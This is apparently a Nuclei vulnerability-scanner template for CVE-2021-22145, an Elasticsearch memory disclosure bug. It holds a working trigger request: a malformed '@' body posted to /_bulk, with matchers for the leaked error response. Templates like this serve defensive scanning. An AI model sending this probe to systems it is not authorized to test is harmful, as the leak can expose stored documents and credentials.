nuclei-templates/cves/2021/CVE-2021-22145.yaml

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id: CVE-2021-22145
info:
name: ElasticSearch 7.13.3 - Memory disclosure
author: dhiyaneshDk
severity: medium
description: A memory disclosure vulnerability was identified in Elasticsearch 7.10.0 to 7.13.3 error reporting. A user with the ability to submit arbitrary queries to Elasticsearch could submit a malformed query that would result in an error message returned containing previously used portions of a data buffer. This buffer could contain sensitive information such as Elasticsearch documents or authentication details.
reference:
- https://github.com/jaeles-project/jaeles-signatures/blob/e9595197c80521d64e31b846808095dd07c407e9/cves/elasctic-memory-leak-cve-2021-22145.yaml
- https://nvd.nist.gov/vuln/detail/CVE-2021-22145
- https://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html
- https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2021-22145
cwe-id: CWE-209
tags: cve,cve2021,elasticsearch
requests:
- method: POST
path:
- '{{BaseURL}}/_bulk'
headers:
Content-Type: application/json
body: |
@
matchers-condition: and
matchers:
- type: word
words:
- 'root_cause'
- 'truncated'
- 'reason'
part: body
condition: and
- type: status
status:
- 400